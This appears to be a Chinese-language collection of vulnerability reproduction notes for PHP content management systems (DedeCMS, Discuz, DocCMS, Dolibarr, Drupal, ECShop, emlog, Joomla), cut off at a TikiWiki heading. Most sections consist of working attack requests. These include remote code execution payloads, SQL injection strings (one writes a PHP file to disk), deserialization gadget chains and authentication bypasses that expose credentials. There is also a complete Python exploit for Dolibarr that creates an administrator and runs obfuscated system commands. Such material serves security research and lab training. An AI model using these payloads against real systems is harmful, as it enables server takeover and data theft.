            $rmsg .= "<br/><br/></div>\");\r\n";
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }
    
    $tpl = new DedeTemplate();
    $tpl->LoadString($msg);
    $tpl->Display();
}

/**
 *  获取验证码的session值
 *
 * @return string
 */

img

这里注意到 当 $gourl 变量为 -1 时调用 ShowMsg方法, 则请求参数 Referer 为用户可控参数

img

像下看,可以发现可控的变量传入两个方法

$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();

追踪方法来到 include/dedetemplate.class.php 文件

img

ParseTemplate() 则是模版渲染的方法,再往下看

public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache();
        include $this->cacheFile;
    }

追踪一下 WriteCache() 方法

img

看 GetResult() 方法 和 CheckDisableFunctions() 方法

public function GetResult()
    {
        if (!$this->isParse) {
            $this->ParseTemplate();
        }
        $addset = '';
        $addset .= '<' . '?php' . "\r\n" . 'if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); ' . "\r\n" . '$fields = array();' . "\r\n" . '?' . '>';
        return preg_replace("/\?" . ">[ \r\n\t]{0,}<" . "\?php/", "", $addset . $this->sourceString);
    }
public function CheckDisabledFunctions($str, &$errmsg = '')
    {
        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }

GetResult() 方法执行后返回的结果通过 CheckDisabledFunctions() 方法过滤后 经过Display() 的 include $this->cacheFile;

public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache();
        include $this->cacheFile;
    }

此时我们就可以通过控制 Referer请求头,来控制模版的渲染,绕过 CheckDisabledFunctions()方法的过滤 造成远程命令执行

img

通过正则找到受影响且无需身份认证的文件,来进行命令执行

/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
........

img

这里利用没有过滤的双引号绕过 disables 禁止的函数

img

漏洞请求包

GET /plus/flink.php?dopost=save HTTP/1.1
Host:
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: <?php "system"(ls);?>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

discuz

wooyun-2010-080723

Discuz 7.x/6.x 全局变量防御绕过导致代码执行

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

具体原理请参考:

漏洞环境

执行如下命令启动Discuz 7.2:

docker compose up -d

启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root

漏洞复现

安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close

可见,phpinfo已成功执行:

网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。

x3.4-arbitrary-file-deletion

Discuz!X ≤3.4 任意文件删除漏洞

影响版本:Discuz!X ≤3.4

漏洞详情:https://lorexxar.cn/2017/09/30/dz-delete/

启动环境

执行下列命令部署 Discuz!X 安装环境

docker compose up -d

安装时,只用修改数据库地址为db,其他保持默认即可:

漏洞复现

访问http://your-ip/robots.txt可见robots.txt是存在的:

注册用户后,在个人设置页面找到自己的formhash:

带上自己的Cookie、formhash发送如下数据包:

POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"

[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"

1
------WebKitFormBoundaryPFvXyxL45f34L12s--

提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:

说明我们的脏数据已经进入数据库了。

然后,新建一个upload.html,代码如下,将其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash:

<body>
    <form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束。

再次访问http://your-ip/robots.txt,发现文件成功被删除:

image-20240805152211428

Discuz!X 3.4 admincp_setting.php 后台SQL注入漏洞

漏洞描述

不久以前Discuz!X的后台披露了一个sql注入的漏洞,这里也要感谢漏洞的发现和研究者(无糖的kn1f3)。

影响版本

Discuz!X <3.4 R20191201 版本

环境搭建

upload目录下的文件拷入phpstudy下的WWW目录打开网站按照步骤安装就行了

img

img

漏洞复现

来到后台页面, 在 UCenter 应用 ID 位置的参数添加单引号并抓包

img

发现出现SQL语句报错

img

使用报错注入去获取版本号

img

这里的参数为 settingnew[uc][appid]

查看文件 \source\admincp\admincp_setting.php, 在2677行找到了输入点

img

根据报错语句找到SQL语句执行点,在文件uc_client\model\base.php 中的 206行

img

通过这里的语句可以看到我们可以使用 union注入 的方法来写入恶意文件(secure_file_priv不能为Null)

img

1' union select "<?php phpinfo();?>"  into outfile 'D:/test.php';--+

DocCMS

DocCMS keyword SQL注入漏洞

漏洞描述

DocCMS keyword参数存在 SQL注入漏洞,攻击者通过漏洞可以获取数据库信息

漏洞影响

DocCMS

网络测绘

app=”Doccms”

漏洞复现

CMS官网

img

验证POC

/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33

img

其中payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

Dolibarr

Dolibarr edit.php 远程命令执行漏洞 CVE-2022-40871

漏洞描述

Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限

漏洞影响

Dolibarr <= 15.0.3

网络测绘

“Dolibarr”

漏洞复现

登录页面

img

利用POC 创建用户进行命令执行

image-20221019002357380

漏洞POC


import requests
from requests.packages import urllib3
import time
import random
import sys
import re


sess = requests.Session()
pcre = re.compile(r'name=\"token\"\s+value=\"([^>]+)\"\s*[/]*>')
def request(method, url, headers=None, data=None, proxies=None, timeout=30):
    i = 1
    urllib3.disable_warnings()
    resp = None
    proxies = proxies
    while i <= 3:
        try:
            resp = sess.request(method=method, url=url, headers=headers,
                                    data=data, proxies=proxies, timeout=timeout, verify=False)
            break
        except requests.exceptions.TooManyRedirects:
            break
        except requests.exceptions.ConnectionError as e:
            time.sleep(2 + random.randint(1, 4))
        except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout):
            time.sleep(2 + random.randint(1, 4))
        finally:
            i += 1
    if i > 3:
        print('[-]Error retrieve with max retries: {}'.format(url))
    return resp

def exp():
    if len(sys.argv) < 2:
        sys.exit('Usage: python3 {} http://xxxxx.com/'.format(sys.argv[0]))
    if sys.argv[1][-1] == '/':
        base = sys.argv[1].rsplit('/', 1)[0]
    else:
        base = sys.argv[1]
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
    }
    #proxies = {'http': 'http://127.0.0.1:8082', 'https': 'http://127.0.0.1:8082'}
    proxies = None
    res = request('GET', base, headers=headers, proxies=proxies)
    err_flag = 1
    if res:
        print('[*] Attempt to add admin.')
        base = res.url.rsplit('/', 1)[0]
        add_admin_url = '{}/install/step5.php'.format(base)
        data = {
            'action': 'set',
            'login': 'testadmins',
            'pass': 'testadmins',
            'pass_verif': 'testadmins',
            'selectlang': 'auto'
        }
        headers['Content-Type'] = 'application/x-www-form-urlencoded'
        res = request('POST', add_admin_url, headers=headers, data=data, proxies=proxies)
        if res and 'created successfully' in res.text or ('exists' in res.text and 'Email  already exists' not in res.text):
            csrf_token_url = '{}/index.php'.format(base)
            res = request('GET', csrf_token_url, headers=headers, proxies=proxies)
            if res:
                print('[*] Attempt to login.')
                try:
                    csrf_token = pcre.findall(res.text)[0]
                except:
                    csrf_token = ''
                login_url = '{}/index.php?mainmenu=home'.format(base)
                headers['Referer'] = csrf_token_url
                data = {
                    'token':'{}'.format(csrf_token),
                    'actionlogin': 'login',
                    'loginfunction': 'loginfunction',
                    'username': 'testadmins',
                    'password': 'testadmins'
                }
                res = request('POST', login_url, headers=headers, data=data, proxies=proxies)
                if res and res.status_code == 200 and 'logout.php' in res.text:
                    print('[*] Attempt to get csrf token.')
                    csrf_token_url = '{}/admin/menus/edit.php?menuId=0&action=create&menu_handler=eldy_menu'.format(base)
                    res = request('GET', csrf_token_url, headers=headers, proxies=proxies)
                    if res:
                        print('[*] Attemp to inset evil data.')
                        try:
                            csrf_token = pcre.findall(res.text)[0]
                        except:
                            csrf_token = ''
                        inset_evil_url = '{}/admin/menus/edit.php'.format(base)
                        data = {
                            'token': '{}'.format(csrf_token),
                            'action': 'add',
                            'menuId': random.randint(10000, 99999),
                            'menu_handler': 'eldy_menu',
                            'user': 2,
                            'type': 1,
                            'titre': 1,
                            'url': 1,
                            'enabled': "1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//" #execute id command,bypass core/lib/function.lib.php limits
                        }
                        res = request('POST', inset_evil_url, headers=headers, data=data, proxies=proxies)
                        if res and res.history[0].status_code == 302:
                            print('[*] Attemp to execute command.')
                            request('GET', '{}/admin/menus/index.php'.format(base), headers=headers, proxies=proxies)
                            time.sleep(3)
                            evil_url = '{}/admin/index.php'.format(base)
                            res = request('GET', evil_url, headers=headers, proxies=proxies)
                            if res and res.status_code == 200 and 'pwned!!!' in res.text:
                                print(res.text[:100])
                                print('[+] vulnrable! {}'.format(base))
                                err_flag = 0
                    
    if err_flag:
        print('[-] {} is not exploitable.'.format(sys.argv[1]))

exp()

drupal

CVE-2014-3704Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

漏洞环境

执行如下命令启动Drupal 7.31环境:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到Drupal的安装页面,使用默认配置安装即可。

其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql

安装完成后,访问首页:

漏洞复现

该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

可见,信息已被爆出:

image-20240805152258809

CVE-2017-6920

Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

漏洞环境

执行如下命令启动 drupal 8.3.0 的环境:

docker compose up -d

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

  • 先安装 yaml 扩展
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
  • 1.登录一个管理员账号
  • 2.访问 http://127.0.0.1:8080/admin/config/development/configuration/single/import
  • 3.如下图所示,Configuration type 选择 Simple configurationConfiguration name 任意填写,Paste your configuration here 中填写PoC如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

1

  • 4.点击 Import 后可以看到漏洞触发成功,弹出 phpinfo 页面。

2

  • Tips:
    • 虽然官方 CPE 信息显示从 8.0.0 开始就有该漏洞,但是在 drupal:8.0.0 容器内并没有复现成功,相同操作在 drupal:8.3.0 则可以复现成功,故基础镜像选择drupal:8.3.0

CVE-2018-7600

Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下:

漏洞环境

执行如下命令启动drupal 8.5.0的环境:

docker compose up -d

环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

参考a2u/CVE-2018-7600,我们向安装完成的drupal发送如下数据包:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

成功执行代码,这个代码最终执行了id命令:

image-20240805152815552

CVE-2018-7602

Drupal 远程代码执行漏洞(CVE-2018-7602)

  • 影响软件:drupal
  • 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
  • 效果:任意命令执行

漏洞环境

执行如下命令启动drupal 7.57的环境:

docker compose up -d

环境启动后,访问 http://your-ip:8081/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

参考pimps/CVE-2018-7600的PoC。

如下图所示,执行以下命令即可复现该漏洞。示例命令为 id,如图红框中显示,可以执行该命令。

# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/

image-20240805152855554

CVE-2019-6339

Drupal 远程代码执行漏洞(CVE-2019-6339)

漏洞环境

执行如下命令启动drupal 8.5.0的环境:

docker compose up -d

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。

1

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

访问 http://127.0.0.1:8080/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg,保存后将触发该漏洞。如下图所示,触发成功。

image-20240805152928753

CVE-2019-6341

Drupal XSS漏洞(CVE-2019-6341)

  • 影响软件:Drupal
  • 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
  • 参考链接:Drupal 1-click to RCE 分析
  • 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)

漏洞环境

执行如下命令启动drupal 8.5.0的环境:

docker compose up -d

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。

如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。

php cve-2019-6341-exp.php 192.168.11.1 8080

1

上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示。

Tips:

  1. 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。
  2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析

image-20240805153000058

ecshop

collection_list-sqli

ECShop 4.x collection_list SQL 注入漏洞

参考资料:

漏洞环境

执行以下命令启动 ECShop 4.0.6:

复制代码
docker compose up -d

服务器启动后,访问 http://your-ip:8080 查看安装向导。根据手册操作,将数据库地址填写为 mysql,用户名和密码分别为 rootroot

漏洞利用

该漏洞的原理类似于 xianzhi-2017-02-82239600,可以利用任意 insert_ 函数进行 SQL 注入。

可以利用多个 insert_ 函数。例如,insert_user_account

GET /user.php?act=collection_list HTTP/1.1
Host: your-ip:8080
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
Connection: close

image-20240805153258454

注意,你需要先以普通用户身份登录。

使用 insert_pay_log 作为 POC:

GET /user.php?act=collection_list HTTP/1.1
Host: 192.168.1.162:8080
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
Connection: close

image-20240805153326112

xianzhi-2017-02-82239600

ECShop 2.x/3.x SQL注入/任意代码执行漏洞

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。

参考链接:

环境搭建

执行如下命令启动ecshop 2.7.3与3.6.0:

docker compose up -d

环境启动后,访问http://your-ip:8080将看到2.7.3的安装页面,访问http://your-ip:8081将看到3.6.0的安装页面。

依次安装二者,mysql地址填写mysql,mysql账户与密码均为root,数据库名随意填写,但2.7.3与3.6.0的数据库名不能相同。如图:

漏洞复现

我编写了一个脚本,可以生成2.x和3.x的POC:

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

生成的POC,放在Referer里发送:

GET /user.php?act=login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

2.x的执行结果

3.x的执行结果:

image-20240805153401600

emlog

emlog widgets.php 后台SQL注入漏洞

漏洞描述

emlog widgets.php文件在登录后通过构造特殊语句导致SQL注入,获取数据库敏感信息

漏洞影响

emlog 6.0

网络测绘

app=”EMLOG”

漏洞复现

产品主页

https://github.com/emlog/emlog

img

存在漏洞的文件为 admin/widgets.php

img

if ($action == 'compages') {
    $wgNum = isset($_POST['wgnum']) ? intval($_POST['wgnum']) : 1;//侧边栏编号 123 ……
    $widgets = isset($_POST['widgets']) ? serialize($_POST['widgets']) : '';
    Option::updateOption("widgets{$wgNum}", $widgets);
    $CACHE->updateCache('options');
    emDirect("./widgets.php?activated=true&wg=$wgNum");
}

传参为 wgnum 和 widgets ,跟踪方法 updateOption

img

static function updateOption($name, $value, $isSyntax = false){
        $DB = Database::getInstance();
        $value = $isSyntax ? $value : "'$value'";
        $DB->query('UPDATE '.DB_PREFIX."options SET option_value=$value where option_name='$name'");
    }

可以发现对传入的参数木有进行过滤,构造Payload

POST /admin/widgets.php?action=compages

widgets=1' and updatexml(0x3a,concat(1,(select user())),1)-- 

调试后可以发现,数据库报错语句会回显至页面中,报错注入即可获取敏感信息

imgimage-20240806103229105

joomla

CVE-2015-8562

Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。

本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

通过Joomla中的Gadget,可造成任意代码执行的结果。

详情可参考:

影响版本

  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
  • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

测试环境

启动测试环境:

docker compose up -d

启动后访问http://your-ip:8080/即可看到Joomla的首页,包含测试数据。

漏洞复现

然后我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:

再用如下脚本生成POC:(在线运行

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a); 

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

echo "123}__test|{$poc}\xF0\x9D\x8C\x86";

将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行:

image-20240805153443785

CVE-2017-8917

Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境

Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。

Joomla在3.7.0中新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。com_fields组件由于对请求数据过滤不严导致了SQL注入。

参考链接:

测试环境

执行如下命令启动一个Joomla 3.7.0服务:

docker compose up -d

启动后访问http://your-ip:8080即可看到Joomla的安装界面和测试数据。

漏洞复现

直接访问http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1),即可看到SQL报错信息:

image-20240805153511054

CVE-2023-23752

Joomla权限绕过漏洞(CVE-2023-23752)

Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。

在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。

参考链接:

漏洞影响

Joomla 4.0.0 ~ 4.2.7

网络测绘

app=”Joomla”

漏洞环境

执行如下命令启动一个Joomla 4.2.7:

docker compose up -d

服务启动后,访问http://your-ip:8080即可查看到Joomla页面。

漏洞复现

这个漏洞是由于错误的属性覆盖导致的,攻击者可以通过在访问Rest API时传入参数public=true来绕过权限校验。

比如,访问下面这个链接即可读取所有配置项,包括数据库连接用户名和密码:

http://your-ip:8080/api/index.php/v1/config/application?public=true

如果不添加public=true,则访问会被拒绝:

访问下面这个链接即可读取所有用户信息,包含邮箱等:

http://your-ip:8080/api/index.php/v1/users?public=true

image-20240805153541482

tikiwiki

CVE-2020-15906

Tiki Wiki CMS Groupware 认证绕过漏洞(CVE-2020-15906)

